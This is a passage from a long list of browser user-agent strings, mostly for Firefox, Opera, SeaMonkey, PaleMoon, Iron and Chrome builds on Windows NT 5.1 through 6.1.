Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.25 Mozilla/5.0 (Windows NT 5.1; U; Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) ; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63 Mozilla/5.0 (Windows NT 5.1; U; Mozilla; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 9.01 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 9.02 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.7.5) Gecko/20041110 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.62 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 9.00 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 9.01 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 Mozilla/5.0 (Windows NT 5.1; U; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.7.5) Gecko/20041110 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11 Mozilla/5.0 (Windows NT 5.1; U; es-es) Opera 9.00 Mozilla/5.0 (Windows NT 5.1; U; es-es; rv:1.7.5) Gecko/20041110 Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.1; U; fi; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; U; firefox 5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54 Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20 Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; pt-br) Opera 9.02 Mozilla/5.0 (Windows NT 5.1; U; pt-br; rv:1.7.5) Gecko/20041110 Mozilla/5.0 (Windows NT 5.1; U; pt-br; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21 Mozilla/5.0 (Windows NT 5.1; U; pt; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; ru; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00 Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.0) Gecko/20080212 Firefox/2.0.0.12 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 5.1; U; zh-tw) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 5.1; U; zh-tw; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10 Mozilla/5.0 (Windows NT 5.1; en-US; rv:1.7.12) Gecko/20051002 Mozilla/5.0 (Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 Mozilla/5.0 (Windows NT 5.1; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows NT 5.1; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows NT 5.1; rv:1.9.2.8) Gecko/20110608 Firefox/3.6.8 Seamonkey/2.1 Mozilla/5.0 (Windows NT 5.1; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20120312 Thunderbird/11.0 Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120605 Firefox/12.2 Palemoon/12.2 Mozilla/5.0 (Windows NT 5.1; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2 Mozilla/5.0 (Windows NT 5.1; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 5.1; rv:12.2.1) Gecko/20120616 PaleMoon/12.2.1 Mozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120714 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2 Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20120615 Firefox/13.0.1 SeaMonkey/2.10.1 Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20120615 Firefox/13.0.1 SeaMonkey/2.10.1 Lightning/1.5.1 Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120824 Thunderbird/15.0 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1 Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20121007 Firefox/16.0 SeaMonkey/2.13 Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20121007 SeaMonkey/2.13 Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Lightning/1.9.1 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110511 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Lightning/1.0b4pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b6pre) Gecko/20100902 Firefox/4.0b6pre Fennec/2.0b1pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 5.1; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 Mozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0 SeaMonkey/2.23a1 Mozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 Lightning/3.0b1 Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0 SeaMonkey/2.3 Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35 Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20110624 Thunderbird/5.0 Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20110812 Thunderbird/6.0 Lightning/1.0b5 Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1 Mozilla/5.0 (Windows NT 5.1; rv:7.0a1) Gecko/20110612 Firefox/7.0a1 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.1; rv:7.0a1) Gecko/20110619 Firefox/7.0a1 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1) Gecko/20091211 SeaMonkey/9.23a1pre Mozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1) Gecko/20091211 SeaMonkey/9.23a1pre Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7 Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 Mozilla/5.0 (Windows NT 5.2; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110317 SeaMonkey/2.1b3pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b5pre) Gecko/20100830 SeaMonkey/2.1b1pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b7pre) Gecko/20100915 Firefox/4.0b7pre SeaMonkey/2.1b1pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b8pre) Gecko/20101014 SeaMonkey/2.1b2pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b8pre) Gecko/20101028 SeaMonkey/2.1b2pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b9pre) Gecko/20101231 SeaMonkey/2.1b2pre Mozilla/5.0 (Windows NT 5.2; rv:2.0b9pre) Gecko/20110110 SeaMonkey/2.1b2pre Mozilla/5.0 (Windows NT 5.2; rv:2.2a1pre) Gecko/20110327 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17 Mozilla/5.0 (Windows NT 5.2; rv:6.0a1) Gecko/20110512 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110524 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110525 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110526 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110527 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110529 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110530 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110601 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110602 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110603 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110605 SeaMonkey/2.2a1pre Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110607 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110610 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110613 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110614 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110616 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110618 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110619 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110621 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110622 SeaMonkey/2.4a1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Iron/15.0.900.1 Chrome/15.0.900.1 Safari/535.2 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1 Iron/20.0.1150.1 Safari/536.11 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0 Safari/537.1 Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221 Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00 Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7 Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7 Mozilla/5.0 (Windows NT 6.0; WOW64; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2 Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Mozilla/5.0 (Windows NT 6.0; rv:11.0) Gecko/20120319 Firefox/11.0 PaleMoon/11.0 Mozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20120424 Firefox/12.0 PaleMoon/12.0 Mozilla/5.0 (Windows NT 6.0; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3 Mozilla/5.0 (Windows NT 6.0; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2 Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0 Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1 Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Mozilla/5.0 (Windows NT 6.0; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16.1 Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14 Mozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1 Mozilla/5.0 (Windows NT 6.0; rv:36.0) Gecko/20100101 Firefox/36.0 SeaMonkey/2.33.1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.66 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.777.3 Chrome/11.0.777.3 Safari/534.66 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.390 Chrome/11.0.696.71 Safari/534.24 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30 ChromePlus/1.6.3.0alpha4 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30 Lightning/1.0b4pre Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1 Mozilla/5.0 (Windows NT 6.1) 